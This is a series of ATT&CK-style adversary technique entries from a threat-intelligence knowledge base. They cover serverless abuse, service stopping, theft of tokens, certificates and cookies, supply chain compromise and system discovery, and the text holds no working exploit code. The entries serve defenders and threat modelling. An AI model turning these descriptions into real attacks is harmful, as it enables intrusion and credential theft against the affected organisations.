Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf) or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533)).

In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://app.tidalcyber.com/technique/a0e40412-cbfb-477b-87fc-40f2c84d26be), as well as by leveraging files such as sitemap.xml and robots.txt.^{[[Perez Sitemap XML 2023](https://app.tidalcyber.com/references/b52dcca4-19cb-5b95-9c5e-8b5c81fd986f)]}^{[[Register Robots TXT 2015](https://app.tidalcyber.com/references/0027a941-bc2d-54e3-9adf-85333d68b244)]}

The tag is: *misp-galaxy:technique="Search Victim-Owned Websites"*

Serverless Execution

Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking]([Cado Security Denonia (https://app.tidalcyber.com/references/584e7ace-ef33-423b-9801-4728a447cb34)]</sup> Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://app.tidalcyber.com/technique/71867386-ddc2-4cdb-a0c9-7c27172c23c1) to a serverless cloud function, which may then be able to perform actions the original user cannot.^{[[Rhino Security Labs AWS Privilege Escalation](https://app.tidalcyber.com/references/693e5783-4aa1-40ce-8080-cec01c3e7b59)]}^{[[Rhingo Security Labs GCP Privilege Escalation](https://app.tidalcyber.com/references/55373476-1cbe-49f5-aecb-69d60b336d38)]}

Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://app.tidalcyber.com/technique/e1e42979-d3cd-461b-afc4-a6373cbf97ba)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://app.tidalcyber.com/technique/0799f2ee-3a83-452e-9fa9-83e91d83be25) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.^{[[Backdooring an AWS account](https://app.tidalcyber.com/references/2c867527-1584-44f7-b5e5-8ca54ea79619)]} This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.^{[[Varonis Power Automate Data Exfiltration](https://app.tidalcyber.com/references/16436468-1daf-433d-bb3b-f842119594b4)]}^{[[Microsoft DART Case Report 001](https://app.tidalcyber.com/references/bd8c6a86-1a63-49cd-a97f-3d119e4223d4)]} In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.^{[[Cloud Hack Tricks GWS Apps Script](https://app.tidalcyber.com/references/32569f13-e383-576c-813c-52490450464d)]}^{[[OWN-CERT Google App Script 2024](https://app.tidalcyber.com/references/1f837b2d-6b45-57ed-8d34-a78ce88cb998)]}

The tag is: *misp-galaxy:technique="Serverless Execution"*

Server Software Component

Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.^{[[volexity_0day_sophos_FW](https://app.tidalcyber.com/references/85bee18e-216d-4ea6-b34e-b071e3f63382)]}

The tag is: *misp-galaxy:technique="Server Software Component"*

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}^{[[Novetta Blockbuster](https://app.tidalcyber.com/references/bde96b4f-5f98-4ce5-a507-4b05d192b6d7)]}

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.^{[[Novetta Blockbuster](https://app.tidalcyber.com/references/bde96b4f-5f98-4ce5-a507-4b05d192b6d7)]} In some cases, adversaries may stop or disable many or all services to render systems unusable.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]} Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in

order to conduct [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) or [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.^{[[SecureWorks WannaCry Analysis](https://app.tidalcyber.com/references/522b2a19-1d15-48f8-8801-c64d3abd945a)]}^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

The tag is: *misp-galaxy:technique="Service Stop"*

Shared Modules

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560)).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.^{[[Apple Dev Dynamic Libraries](https://app.tidalcyber.com/references/39ffd162-4052-57ec-bd20-2fe6b8e6beab)]}^{[[Linux Shared Libraries](https://app.tidalcyber.com/references/054d769a-f88e-55e9-971a-f169ee434cfe)]}^{[[RotaJakiro 2021 netlab360 analysis](https://app.tidalcyber.com/references/7a9c53dd-2c0e-5452-9ee2-01531fbf8ba8)]}^{[[Unit42 OceanLotus 2017](https://app.tidalcyber.com/references/fcaf57f1-6696-54a5-a78c-255c8f6ac235)]}

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) which is called from functions like `LoadLibrary` at run time.^{[[Microsoft DLL](https://app.tidalcyber.com/references/f0ae2788-537c-5644-ba1b-d06a612e73c1)]}

The tag is: *misp-galaxy:technique="Shared Modules"*

Software Deployment Tools

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune,

Azure Arc, and GCP Deployment Manager.

Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://app.tidalcyber.com/technique/944a7b91-c58e-567d-9e2c-515b93713c50) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.^{[[SpecterOps Lateral Movement from Azure to On-Prem AD 2020](https://app.tidalcyber.com/references/eb97d3d6-21cb-5f27-9a78-1e8576acecdc)]} Such services may also utilize [Web Protocols](https://app.tidalcyber.com/technique/9a21ec7b-9714-4073-9bf3-4df41995c698) to communicate back to adversary owned infrastructure.^{[[Mitiga Security Advisory: SSM Agent as Remote Access Trojan](https://app.tidalcyber.com/references/88fecbcd-a89b-536a-a1f6-6ddfb2b452da)]}

Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.^{[[Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation](https://app.tidalcyber.com/references/a43dd8ce-23d6-5768-8522-6973dc45e1ac)]}

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.

The tag is: *misp-galaxy:technique="Software Deployment Tools"*

Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://app.tidalcyber.com/technique/e9bff6ff-3142-4910-8f67-19b868912602) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://app.tidalcyber.com/technique/1bcf9fb5-6848-44d9-b394-ffbd3c357058), and may allow adversaries broad access to infect devices or move laterally.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c).

The tag is: *misp-galaxy:technique="Software Discovery"*

Software Extensions

Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.^{[[Chrome Extension C2 Malware](https://app.tidalcyber.com/references/b0fdf9c7-614b-4269-ba3e-7d8b02aa8502)]}^{[[Abramovsky VSCode Security](https://app.tidalcyber.com/references/8ace39ea-cd89-50b9-9aa7-3df8b4b1db6d)]} Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.

Malicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls.

The modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.

The tag is: *misp-galaxy:technique="Software Extensions"*

Stage Capabilities

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70)) or obtained ([Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3)) or was otherwise compromised by them ([Compromise Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.^{[[Volexity Ocean Lotus November 2020](https://app.tidalcyber.com/references/dbea2493-7e0a-47f0-88c1-5867f8bb1199)]}^{[[Dragos Heroku Watering Hole](https://app.tidalcyber.com/references/8768909c-f511-4067-9a97-6f7dee24f276)]}^{[[Malwarebytes Heroku Skimmers](https://app.tidalcyber.com/references/4656cc2c-aff3-4416-b18d-995876d37e06)]}^{[[Netskope GCP Redirection](https://app.tidalcyber.com/references/18efeffc-c47b-46ad-8e7b-2eda30a406f0)]}^{[[Netskope Cloud Phishing](https://app.tidalcyber.com/references/25d46bc1-4c05-48d3-95f0-aa3ee1100bf9)]}

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381) when a user browses to a site.^{[[FireEye CFR Watering Hole 2012](https://app.tidalcyber.com/references/6108ab77-e4fd-43f2-9d49-8ce9c219ca9c)]}^{[[Gallagher 2015](https://app.tidalcyber.com/references/b1540c5c-0bbc-4b9d-9185-fae224ba31be)]}^{[[ATT ScanBox](https://app.tidalcyber.com/references/48753fc9-b7b7-465f-92a7-fb3f51b032cb)]}
- Staging web resources for a link target to be used with spearphishing.^{[[Malwarebytes Silent Librarian October 2020](https://app.tidalcyber.com/references/9bb8ddd0-a8ec-459b-9983-79ccf46297ca)]}^{[[Proofpoint TA407 September 2019](https://app.tidalcyber.com/references/e787e9af-f496-442a-8b36-16056ff8bfc1)]}
- Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer]([Volexity Ocean Lotus November 2020(https://app.tidalcyber.com/references/dbea2493-7e0a-47f0-88c1-5867f8bb1199)]</sup>
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://app.tidalcyber.com/technique/ce822cce-f7f1-4753-bff1-12e5bef66d53) with [Web Protocols]([DigiCert Install SSL Cert(https://app.tidalcyber.com/references/a1d7d368-6092-4421-99de-44e458deee21)]</sup>

The tag is: *misp-galaxy:technique="Stage Capabilities"*

Steal Application Access Token

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).^{[[Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019](https://app.tidalcyber.com/references/8ec52402-7e54-463d-8906-f373e5855018)]} Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container's token and thereby gain access to Kubernetes API commands.^{[[Kubernetes Service Accounts](https://app.tidalcyber.com/references/a74ffa28-8a2e-4bfd-bc66-969b463bebd9)]}

Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.^{[[Cider Security Top 10 CICD Security Risks](https://app.tidalcyber.com/references/512974b7-b464-52af-909a-2cb880b524e5)]} If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.

In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.^{[[Entra Managed Identities 2025](https://app.tidalcyber.com/references/fdfbccf4-6c94-56a4-b208-b89d28ec2463)]}^{[[SpecterOps Managed Identity 2022](https://app.tidalcyber.com/references/b1dfe16a-c216-5fc7-ba76-b0c71bfebd29)]}

Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.^{[[Microsoft Identity Platform Protocols May 2019](https://app.tidalcyber.com/references/a99d2292-be39-4e55-a952-30c9d6a3d0a3)]}^{[[Microsoft - OAuth Code Authorization flow - June 2019](https://app.tidalcyber.com/references/a41c2123-8b8d-4f98-a535-e58e3e746b69)]} An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.^{[[Amnesty OAuth Phishing Attacks, August 2019](https://app.tidalcyber.com/references/0b0f9cf6-f0af-4f86-9699-a63ff36c49e2)]}^{[[Trend Micro Pawn Storm OAuth 2017](https://app.tidalcyber.com/references/7d12c764-facd-4086-acd0-5c0287344520)]} The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.^{[[Microsoft - Azure AD App Registration - May 2019](https://app.tidalcyber.com/references/36a06c99-55ca-4163-9450-c3b84ae10039)]} Then, they can send a [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token]([Microsoft - Azure AD Identity Tokens - Aug 2019 (https://app.tidalcyber.com/references/44767d53-8cd7-44dd-a69d-8a7bebc1d87d)]</sup>

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens^{[[Auth0 Understanding Refresh Tokens](https://app.tidalcyber.com/references/84eb3d8a-f6b1-4bb5-9411-2c8da29b5946)]}, allowing them to obtain new access tokens without prompting the user.

The tag is: *misp-galaxy:technique="Steal Application Access Token"*

Steal or Forge Authentication Certificates

Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials

for domain accounts.^{[[O365 Blog Azure AD Device IDs](https://app.tidalcyber.com/references/ec94c043-92ef-4691-b21a-7ea68f39e338)]}^{[[Microsoft AD CS Overview](https://app.tidalcyber.com/references/f1b2526a-1bf6-4954-a9b3-a5e008761ceb)]}

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)^{[[APT29 Deep Look at Credential Roaming](https://app.tidalcyber.com/references/691fb596-07b6-5c13-9cec-e28530ffde12)]}, misplaced certificate files (i.e. [Unsecured Credentials](https://app.tidalcyber.com/technique/02ed857b-ba39-4fab-b1d9-3ed2aa689dfd)), or directly from the Windows certificate store via various crypto APIs.^{[[SpecterOps Certified Pre Owned](https://app.tidalcyber.com/references/73b6a6a6-c2b8-4aed-9cbc-d3bdcbb97698)]}^{[[GitHub CertStealer](https://app.tidalcyber.com/references/da06ce8f-f950-4ae8-a62a-b59b236e91a3)]}^{[[GitHub GhostPack Certificates](https://app.tidalcyber.com/references/941e214d-4188-4ca0-9ef8-b26aa96373a2)]} With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate's extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate's subject alternative name (SAN) values define the certificate owner's alternate names.^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]}

Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://app.tidalcyber.com/tactics/b17dde68-dbcf-4cfd-9bb8-be014ec65c37), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://app.tidalcyber.com/tactics/ec4f9786-c00c-430a-bc6d-0d0d22fdd393) via stealing or forging certificates that can be used as [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://app.tidalcyber.com/tactics/ec4f9786-c00c-430a-bc6d-0d0d22fdd393) by forging arbitrary authentication certificates for the victim domain (known as "golden" certificates).^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]} Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://app.tidalcyber.com/technique/12efebf8-9da4-446c-a627-b6f95524f1ea) ticket-granting tickets (TGT) or NTLM plaintext.^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]}

The tag is: *misp-galaxy:technique="Steal or Forge Authentication Certificates"*

Steal or Forge Kerberos Tickets

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets

to enable [Pass the Ticket](https://app.tidalcyber.com/technique/5e771f38-6286-4330-b7b4-38071ad6b68a). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).^{[[ADSecurity Kerberos Ring Decoder](https://app.tidalcyber.com/references/5f78a554-2d5c-49af-8c6c-6e10f9aec997)]}
Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.^{[[Microsoft Klist](https://app.tidalcyber.com/references/f500340f-23fc-406a-97ef-0de787ef8cec)]}

The tag is: *misp-galaxy:technique="Steal or Forge Kerberos Tickets"*

Steal Web Session Cookie

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.^{[[Pass The Cookie](https://app.tidalcyber.com/references/dc67930f-5c7b-41be-97e9-d8f4a55e6019)]}

There are several examples of malware targeting cookies from web browsers on the local system.^{[[Kaspersky TajMahal April 2019](https://app.tidalcyber.com/references/1ed20522-52ae-4d0c-b42e-c680490958ac)]}^{[[Unit 42 Mac Crypto Cookies January 2019](https://app.tidalcyber.com/references/0a88e730-8ed2-4983-8f11-2cb2e4abfe3e)]}
Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) by tricking victims into running malicious JavaScript in their browser.^{[[Talos Roblox Scam 2023](https://app.tidalcyber.com/references/9371ee4a-ac23-5acb-af3f-132ef3645392)]}^{[[Krebs Discord Bookmarks 2023](https://app.tidalcyber.com/references/1d0a21f4-9a8e-5514-894a-3d55263ff973)]}

There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9)) that can be set up by an adversary and used in phishing campaigns.^{[[Github evilginx2](https://app.tidalcyber.com/references/322e5d90-5095-47ea-b0e2-e7e5fb45fcca)]}^{[[GitHub Mauraena](https://app.tidalcyber.com/references/578ecf62-b546-4f52-9d50-92557edf2dd4)]}

After an adversary acquires a valid cookie, they can then perform a [Web Session

Cookie](https://app.tidalcyber.com/technique/d36a5323-e249-44e8-9c8b-5cc9c023a5e1) technique to login to the corresponding web application.

The tag is: *misp-galaxy:technique="Steal Web Session Cookie"*

Subvert Trust Controls

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://app.tidalcyber.com/technique/cb2e4822-2529-4216-b5b8-75158c5f85ff) or [Modify Registry](https://app.tidalcyber.com/technique/0dfeab84-3c42-4b56-9021-70fe5be4092b) in support of subverting these controls.^{[[SpectorOps Subverting Trust Sept 2017](https://app.tidalcyber.com/references/0b6e7651-0e17-4101-ab2b-22cb09fe1691)]} Adversaries may also create or steal code signing certificates to acquire trust on target systems.^{[[Securelist Digital Certificates](https://app.tidalcyber.com/references/3568163b-24b8-42fd-b111-b9d83c34cc4f)]}^{[[Symantec Digital Certificates](https://app.tidalcyber.com/references/4b4f0171-827d-45c3-8c89-66ea801e77e8)]}

The tag is: *misp-galaxy:technique="Subvert Trust Controls"*

Supply Chain Compromise

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)^{[[IBM Storwize](https://app.tidalcyber.com/references/321cf27a-327d-4824-84d0-56634d3b86f5)]}^{[[Schneider Electric USB Malware](https://app.tidalcyber.com/references/e4d8ce63-8626-4c8f-a437-b6a120ff61c7)]}
- Replacement of legitimate software with modified versions

- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.^{[[Avast CCleaner3 2018](https://app.tidalcyber.com/references/1641553f-96e7-4829-8c77-d96388dac5c7)]}^{[[Microsoft Dofoil 2018](https://app.tidalcyber.com/references/85069317-2c25-448b-9ff4-504e429dc1bf)]}^{[[Command Five SK 2011](https://app.tidalcyber.com/references/ccca927e-fa03-4eba-b631-9989804a1f3c)]} Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]}^{[[Avast CCleaner3 2018](https://app.tidalcyber.com/references/1641553f-96e7-4829-8c77-d96388dac5c7)]}^{[[Command Five SK 2011](https://app.tidalcyber.com/references/ccca927e-fa03-4eba-b631-9989804a1f3c)]} Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.^{[[Trendmicro NPM Compromise](https://app.tidalcyber.com/references/69eac1b0-1c50-4534-99e0-2d0fd738ab8f)]}

The tag is: *misp-galaxy:technique="Supply Chain Compromise"*

System Binary Proxy Execution

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.^{[[LOLBAS Project](https://app.tidalcyber.com/references/14b1d3ab-8508-4946-9913-17e667956064)]} Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.^{[[split man page](https://app.tidalcyber.com/references/3a4dc770-8bfa-44e9-bb0e-f0af0ae92994)]}^{[[GTFO split](https://app.tidalcyber.com/references/4b86c8c3-57b0-4558-be21-f928acb23f49)]}

The tag is: *misp-galaxy:technique="System Binary Proxy Execution"*

System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](https://app.tidalcyber.com/software/cecea681-a753-47b5-9d77-c10a5b4403ab) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather detailed system information (e.g. <code>show version</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]} On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}^{[[Varonis](https://app.tidalcyber.com/references/2084fd09-f246-50f1-bfaa-5b3aa0b00779)]}

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.^{[[Amazon Describe Instance](https://app.tidalcyber.com/references/c0b6a8a4-0d94-414d-b5ab-cf5485240dee)]}^{[[Google Instances Resource](https://app.tidalcyber.com/references/9733447c-072f-4da8-9cc7-0a0ce6a3b820)]}^{[[Microsoft Virutal Machine API](https://app.tidalcyber.com/references/f565c237-07c5-4e9e-9879-513627517109)]}

